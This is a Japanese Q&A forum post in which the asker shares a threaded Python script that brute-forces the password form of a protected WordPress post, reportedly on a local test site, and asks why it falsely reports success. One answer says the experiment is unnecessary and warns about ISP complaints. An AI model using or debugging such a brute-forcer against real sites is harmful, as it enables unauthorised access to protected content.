パスワード保護されたWordPressページに総当たり攻撃をかけてみる実験を行っているのですが

Question

前提・実現したいこと

実験として、パスワード保護されたWordPressページに総当たり攻撃をかけるPythonプログラムを書いています。

(例えば、仮に英数字3文字のパスワードを用いたら、どれほど簡単に突破されてしまうか、といった実験です。)

第三者サーバーではなく、Localで適当にやってみて実験しております。

手順としては、

1. パスワードを入れる前のWordPressページを解析する
2. パスワードを総当たりで順に入力していく
3. 入力した結果を解析
4. パスワードを入力する用のHTMLフォームが見つからなかったら、入れたと判断

という感じです。

より詳しく説明すると、パスワードを入力する前のHTMLには

<div class="row">
			<div class="eight columns centered entry-main">
				<form action="http://www.example.net/wp-login.php?action=postpass" class="post-password-form" method="post">
<p>このコンテンツはパスワードで保護されています。閲覧するには以下にパスワードを入力してください。</p>
<p><label for="pwbox-1234">パスワード <input name="post_password" id="pwbox-1234" type="password" size="20" /></label> <input type="submit" name="Submit" value="送信" /></p>
</p></form>
							</div>
		</div>

という感じのformがあり、それに総当たり攻撃を仕掛けてみようということです。

発生している問題・エラーメッセージ

パスワードがxyzになっているWordPressページで実験してみるとして、デバッグ用にパスワードの候補をabcのみにして実行してみたところ、

[*] Started HTML Form Brute-Forcer Script
[*] Attempting abc
[*] Attempting abc
[*] Brute-Force Attempt is Successful!
[*] Password: abc
[*] Done  

と、明らかに違うのに正しいパスワードとして出力されます。

もしかしたら、

brute_force_request = urllib.request.Request(post_url, headers=headers)
brute_force_response = urllib.request.urlopen(brute_force_request, data=post_data)

で返ってくるWebページの結果をちゃんと解析できてないのかな、と思うのですが、どこを修正すればいいのか今一つ見当がつきません...。

パスワードが間違っていたならば、返ってくるWebページにはちゃんと<form>要素は含まれ、それを検知してまだログインできていないと認識できるはずなのですが。

該当のソースコード

from  html.parser import HTMLParser
import urllib.request
import urllib.parse
import http.cookiejar
import queue
import threading
import sys
import os
import itertools

threads = 5
resume_word = None
headers = {}
target_url = "http://www.example.net/archives/1234" #パスワード保護がかかっているWordPressページを対象に検証を行う
post_url = "http://www.example.net/wp-login.php?action=postpass" #このphpファイルを経由して処理が行われるらしい
password_field = "post_password" #パースしたHTML内にpost_passwordという項目があれば、まだページに入れていないと判断

class BruteForcer():
    def __init__(self, passwd_q):
        self.passwd_q = passwd_q
        self.found = False

    def html_brute_forcer(self):
        while not self.found:
            #クッキーを有効にする
            cookiejar = http.cookiejar.FileCookieJar("cookies")
            opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookiejar))
            urllib.request.install_opener(opener)

            request = urllib.request.Request(target_url, headers=headers)
            response = urllib.request.urlopen(request)

            #stringに変換
            page = str(response.read())[2:-1]

            #HTMLフォームをパースする
            parsed_html = BruteParser()
            parsed_html.feed(page)

            if password_field in parsed_html.parsed_results.keys():
                parsed_html.parsed_results[password_field] = self.passwd_q

                print(f"[*] Attempting {parsed_html.parsed_results[password_field]}")

                post_data = urllib.parse.urlencode(parsed_html.parsed_results).encode()

                brute_force_request = urllib.request.Request(post_url, headers=headers)
                brute_force_response = urllib.request.urlopen(brute_force_request, data=post_data)

                #stringに変換
                brute_force_page = str(brute_force_response.read())[2:-1]

                #HTMLフォームをパースする
                brute_force_parsed_html = BruteParser()
                brute_force_parsed_html.feed(brute_force_page)

                if not brute_force_parsed_html.parsed_results:
                    self.found= True
                    print("[*] Brute-Force Attempt is Successful!")
                    print(f"[*] Password: {parsed_html.parsed_results[password_field]}")
                    print("[*] Done")
                    print(brute_force_page)
                    os._exit(0)
            else:
                print("[!] HTML Page is Invalid")
                #break

    #複数スレッドで総当たり
    def html_brute_forcer_thread_starter(self):
        for i in range(threads):
            html_brute_forcer_thread = threading.Thread(target=self.html_brute_forcer)
            html_brute_forcer_thread.start()

class BruteParser(HTMLParser):
    def __init__(self):
        HTMLParser.__init__(self)
        self.parsed_results = {}

    def handle_starttag(self, tag, attrs):
        if tag == "input":
            for name, value in attrs:
                if name == "name" and value == password_field:
                    self.parsed_results[password_field] = password_field


print("[*] Started HTML Form Brute-Forcer Script")
http.cookiejar.FileCookieJar("cookies").clear()
combos=itertools.product("abcdefghijklmnopqrstuvwxyz1234567890", repeat=3)
for passwd_q in combos:
    passwd_q = ''.join(passwd_q)
    attempt_brute_force = BruteForcer(passwd_q)
    attempt_brute_force.html_brute_forcer_thread_starter()

試してみたこと

print(brute_force_page)

でパスワードを入れてリクエストしか結果を確認しようとしても、そのデータが出力されません。

Answer 1

(例えば、仮に英数字3文字のパスワードを用いたら、どれほど簡単に突破されてしまうか、といった実験です。)

実験するまでもなく、一回のアクセスにかかる時間と組み合わせ数から計算できます。

ちなみに、一部でも自身のリソース以外が含まれるサーバに対して総当たりを仕掛けた場合、攻撃元 IP アドレスを所有するプロバイダに対してクレームが上がる可能性があります。

クレームを受けたプロバイダが、迷惑行為として受理すると、プロバイダとの契約が解除されることもあります。

やるならローカルで適当にやると良いです。